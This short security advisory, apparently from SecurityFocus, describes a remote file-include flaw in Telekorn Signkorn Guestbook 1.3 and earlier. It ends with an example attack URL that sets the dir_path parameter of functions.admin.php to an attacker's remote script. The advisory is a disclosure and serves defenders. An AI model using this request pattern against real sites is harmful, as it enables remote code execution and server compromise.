source: https://www.securityfocus.com/bid/19977/info
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
Versions 1.3 and earlier are affected by this issue.
http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;